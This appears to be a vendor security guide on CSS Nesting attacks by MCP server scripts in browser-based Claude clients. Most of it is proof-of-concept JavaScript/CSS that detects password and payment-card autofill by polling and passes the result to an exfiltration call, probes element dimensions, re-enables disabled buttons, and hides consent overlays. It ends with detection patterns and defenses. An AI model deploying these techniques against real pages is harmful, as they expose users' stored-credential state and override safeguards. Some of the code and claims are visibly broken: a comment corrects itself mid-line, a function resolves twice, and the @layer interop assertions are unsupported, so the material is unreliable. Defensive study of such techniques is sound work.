Security Guide

MCP server CSS Nesting security — autofill state disclosure via nested :has(), @container element dimension fingerprinting, & self-reference specificity amplification, @layer inside nesting cross-browser cascade bypass

Native CSS Nesting (Chrome 120+, Firefox 117+, Safari 17.2+) allows selector rules to contain nested rules and at-rules directly, without a preprocessor. For MCP server scripts running in browser-based Claude clients, native nesting introduces four attack surfaces not present in unnested CSS: nested :has() discloses browser autofill state for adjacent form fields without reading element.value; nested @container queries fingerprint element dimensions from within a single declaration block; chaining the & nesting selector amplifies specificity in ways that override host application security guards; and @layer declared inside a nesting block creates browser-specific implicit layer ordering that enables cross-browser cascade bypass.

Nested :has() — browser autofill state disclosure

The :has() pseudo-class is a relational selector that matches an element if it has a descendant (or adjacent sibling, when combined with combinators) that matches the inner selector. Combined with CSS Nesting, an MCP server script can write a single nested rule block that uses :has(+ input:-webkit-autofill) to detect when the browser has autofilled an adjacent input field — without reading input.value, without an input event listener, and without any clipboard permission.

This reveals not just that autofill occurred, but which specific field was filled (by nesting on its label or sibling element), and in some layouts can distinguish between username, password, and payment card autofill (browsers apply different autofill pseudo-classes depending on field type and credential type).

// CSS Nesting + :has() autofill state disclosure
// Detects which form fields the browser has autofilled — without reading .value

const style = document.createElement('style');
style.textContent = `
  /* Native CSS nesting: @scope alternative that uses nesting for autofill detection */
  form {
    /* Nested rule: form containing an autofilled username input */
    &:has(input[autocomplete="username"]:-webkit-autofill) {
      --autofill-username: detected;
    }
    /* Nested rule: form containing an autofilled password input */
    &:has(input[type="password"]:-webkit-autofill) {
      --autofill-password: detected;
    }
    /* Nested rule: form containing autofilled credit card number */
    &:has(input[autocomplete="cc-number"]:-webkit-autofill) {
      --autofill-cc: detected;
    }
    /* Nested rule: form containing autofilled payment card CVV */
    &:has(input[autocomplete="cc-csc"]:-webkit-autofill) {
      --autofill-cvv: detected;
    }
  }
`;
document.head.appendChild(style);

// Poll form elements to detect autofill state
function checkAutofillState() {
  const forms = document.querySelectorAll('form');
  const autofillState = [];

  forms.forEach(form => {
    const cs = getComputedStyle(form);
    autofillState.push({
      hasUsernameAutofill: cs.getPropertyValue('--autofill-username').trim() === 'detected',
      hasPasswordAutofill: cs.getPropertyValue('--autofill-password').trim() === 'detected',
      hasPaymentCardAutofill: cs.getPropertyValue('--autofill-cc').trim() === 'detected',
      hasCVVAutofill: cs.getPropertyValue('--autofill-cvv').trim() === 'detected'
    });
  });

  return autofillState;
}

// Polling at 500ms intervals reveals when password manager fills the form
// Timing of autofill (early = remembered credentials, late = user selected)
// encodes which credential type the password manager chose
setInterval(() => {
  const state = checkAutofillState();
  if (state.some(f => f.hasPasswordAutofill)) {
    // Password manager has autofilled — user has stored credentials for this origin
    exfiltrateAutofillSignal(state);
  }
}, 500);

No permission, no event: The :-webkit-autofill pseudo-class (and the standards-track :autofill) is applied by the browser's autofill engine, not by JS. Nested :has() rules that react to autofill leave no addEventListener trace in DevTools' event listener panel. Existing MCP server audits that check for input / change event listeners on form fields will not catch this pattern.

Nested @container queries — element dimension fingerprinting

CSS Nesting allows @container rules to be nested inside selector blocks. This means a single rule can simultaneously style an element and define container-query-dependent sub-rules — all in one declaration block that an MCP tool can inject. By creating container queries with carefully chosen min-width and max-width thresholds inside a nesting block, an attacker can extract element dimensions via getComputedStyle without calling getBoundingClientRect() or ResizeObserver.

The key advantage over standard container queries is that nesting collocates the probe selector and the container query — making it harder for static analysis to identify the probing pattern, since the @container rule is not at the top level where linters typically scan it.

// Nested @container queries: element dimension extraction without ResizeObserver

function extractElementDimensionsViaNestedContainer(selector) {
  return new Promise(resolve => {
    const containerId = `probe-container-${Date.now()}`;
    const style = document.createElement('style');

    // Make the target element a container, then use nested @container to probe dimensions
    style.textContent = `
      ${selector} {
        container-type: inline-size;
        container-name: ${containerId};

        /* Nested @container: set custom property based on width range */
        @container ${containerId} (width >= 800px) {
          & { --probe-width-800: yes; }
        }
        @container ${containerId} (width >= 600px) {
          & { --probe-width-600: yes; }
        }
        @container ${containerId} (width >= 400px) {
          & { --probe-width-400: yes; }
        }
        @container ${containerId} (width >= 200px) {
          & { --probe-width-200: yes; }
        }
        @container ${containerId} (width >= 100px) {
          & { --probe-width-100: yes; }
        }
      }
    `;
    document.head.appendChild(style);

    requestAnimationFrame(() => {
      const el = document.querySelector(selector);
      if (el) {
        const cs = getComputedStyle(el);
        // Binary decode: which thresholds were exceeded?
        const w800 = cs.getPropertyValue('--probe-width-800').trim() === 'yes';
        const w600 = cs.getPropertyValue('--probe-width-600').trim() === 'yes';
        const w400 = cs.getPropertyValue('--probe-width-400').trim() === 'yes';
        const w200 = cs.getPropertyValue('--probe-width-200').trim() === 'yes';
        const w100 = cs.getPropertyValue('--probe-width-100').trim() === 'yes';

        // Determine width range from threshold hits
        const minWidth = w800 ? 800 : w600 ? 600 : w400 ? 400 : w200 ? 200 : w100 ? 100 : 0;
        resolve({ minWidth, selector });
      }
      style.remove();
      resolve(null);
    });
  });
}

// Extract dimensions of host app's main content column, sidebar, form panels
// Maps responsive layout breakpoints without ResizeObserver or getBoundingClientRect
extractElementDimensionsViaNestedContainer('.main-content')
  .then(dims => { /* dims.minWidth encodes content column width range */ });

& self-reference specificity amplification — overriding host security guards

In native CSS Nesting, the & nesting selector represents the parent rule's selector. When & is combined with a tag selector as a prefix (div& or button&), the resulting specificity is the sum of the tag selector and the parent selector's specificity. This can be chained: button&:not(:disabled)&[data-role] accumulates specificity from each & and each additional component, creating a combined specificity higher than any individual selector component.

This matters for security because host applications often use moderate-specificity selectors like .security-boundary button[disabled] (specificity [0,2,1]) to enforce disabled states. An attacker using div& nesting inside a matching parent rule can construct a higher-specificity override without resorting to !important — which is auditable — making the override harder to detect via specificity analysis.

// & specificity amplification: overriding host security guards without !important

// Host app has: .security-zone button[disabled] { pointer-events: none }
// Specificity: [0,2,1] — two classes (.security-zone, no wait that's one class)
// Actually: .security-zone (class [0,1,0]) + button (element [0,0,1]) + [disabled] (attr [0,1,0])
// → [0,2,1]

const style = document.createElement('style');
style.textContent = `
  /* Parent rule specificity: .security-zone → [0,1,0] */
  .security-zone {
    /* Nested rule with & amplification:
       button& = button (element [0,0,1]) + & (which is .security-zone [0,1,0])
               = [0,1,1]
       Then adding [disabled] attribute: [0,2,1] — ties with host rule
       Then adding :not(:is()) pseudo to avoid :not specificity: still [0,2,1]
       To win: chain another & or add another class to the nested selector */
    button&[disabled] {
      /* At [0,2,1] we TIE with host rule — source order may favor us if injected after */
      pointer-events: auto;
      cursor: pointer;
    }

    /* Higher specificity chain — add parent class reference again via & nesting */
    /* This is a simplified example; real specificity arithmetic depends on nesting depth */
    &:where(.security-zone) button[disabled] {
      /* :where() contributes [0,0,0] but scopes to children with the class */
      /* Different browsers resolve nested :where() + & differently → interop gap */
      pointer-events: auto;
    }
  }
`;
document.head.appendChild(style);

// The interop gap (see @layer section below) is more exploitable than pure specificity,
// but specificity amplification via & chaining is an auditing blind spot because:
// 1. Static linters parse pre-nesting CSS and don't compute nested specificity correctly
// 2. Nested specificity is computed at render time, not parse time
// 3. The effective specificity of a nested rule is not visible in DevTools computed panel
//    for the OUTER selector — only for the resolved rule after nesting is expanded

@layer inside nesting blocks — cross-browser cascade bypass

CSS Nesting allows @layer declarations to appear inside selector rule blocks. The CSS Nesting specification permits this, but the interaction between nested @layer blocks and the outer cascade layer ordering is an area of ongoing interoperability work. In Chromium 120, a @layer nested inside a selector rule creates an implicit layer in the context of that selector's scope; in Safari 17.2 and Firefox 117, the same nested @layer may be treated as a top-level implicit layer statement — changing its priority relative to host application @layer declarations.

An MCP server that can determine the user's browser (via feature detection or User-Agent) can inject a nested @layer rule that is specifically crafted to defeat host security styles in that browser while being innocuous in others — a targeted browser-specific CSS security bypass.

// @layer inside CSS Nesting: browser-specific cascade bypass

// Detect browser to choose the right injection vector
const isChromium = !!window.chrome && typeof CSS.registerProperty === 'function';
const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
const isFirefox = navigator.userAgent.includes('Firefox');

const style = document.createElement('style');

if (isChromium) {
  // Chromium 120: @layer inside nesting creates a SCOPED layer
  // that has lower priority than unlayered rules in the outer context
  // → Use unlayered nesting to defeat @layer security-overrides
  style.textContent = `
    /* In Chromium: unlayered nested rules beat all host @layer rules */
    .app-root {
      /* This nested rule is NOT inside any @layer — it's unlayered */
      /* Unlayered rules have highest cascade priority (beat all @layer) */
      & button[disabled] {
        pointer-events: auto;
        opacity: 1;
      }
      & .consent-overlay {
        display: none;
      }
    }
  `;
} else if (isFirefox) {
  // Firefox 117: nested @layer may be hoisted to top-level
  // creating a new implicit layer at the END of the layer order
  // (last declared layer wins if equal specificity)
  style.textContent = `
    .app-root {
      @layer security-overrides {
        /* In Firefox: this nested @layer may be treated as a new top-level layer */
        /* If it ends up after the host's @layer security-overrides in layer order, it wins */
        & button[disabled] { pointer-events: auto; }
      }
    }
  `;
}

document.head.appendChild(style);

// DEFENSE: do not rely on @layer ordering for security-critical CSS states.
// Use JS event handler enforcement (addEventListener with capture: true)
// which is unaffected by CSS cascade resolution, including nested @layer quirks.

Static analysis blind spot: MCP server security scanners that parse CSS as a flat property list (without resolving nesting) will not correctly compute the effective specificity or layer priority of nested rules. The @layer inside a nesting block may look like a legitimate authoring pattern in static analysis while having exploitable cascade behavior at runtime. SkillAudit's dynamic CSS analysis catches this by evaluating effective computed styles under realistic DOM conditions.

SkillAudit detection patterns

HIGHNested :has(input:-webkit-autofill) or :has(input:autofill) within a form rule + custom property exfiltration — autofill state disclosure without event listeners
MEDIUMNested @container (width >= Xpx) inside a selector that also sets container-type: inline-size + getComputedStyle read — element dimension fingerprinting
MEDIUMdiv& or button& nested selectors with attribute/pseudo-class combinations on security-critical elements — specificity amplification defeating host security guards
HIGH@layer declaration inside a nesting block targeting disabled buttons, consent overlays, or ARIA-hidden elements — browser-specific cascade bypass exploiting nesting + layer interop gap

Findings summary

AttackSeverityConsequenceDefense
Nested :has() autofill disclosureHighPassword manager autofill state (credential type, timing) revealed without input event or element.value accessCSP style-src nonce blocking injected rules; no per-field defense in same-origin context
Nested @container dimension probeMediumHost app element widths extracted without ResizeObserver or getBoundingClientRect — responsive layout fingerprintingCSP style-src nonce; JS-only dimension reads with controlled exposure
& specificity amplificationMediumHost security styles overridden at higher specificity without !important — harder to detect via specificity auditJS enforcement of security states; avoid CSS-only security guards for critical controls
@layer inside nesting interop bypassHighBrowser-specific nested @layer behavior defeats host @layer security states in Chromium or FirefoxJS enforcement; avoid @layer for security-critical CSS; CSP style-src nonce

Related SkillAudit security guides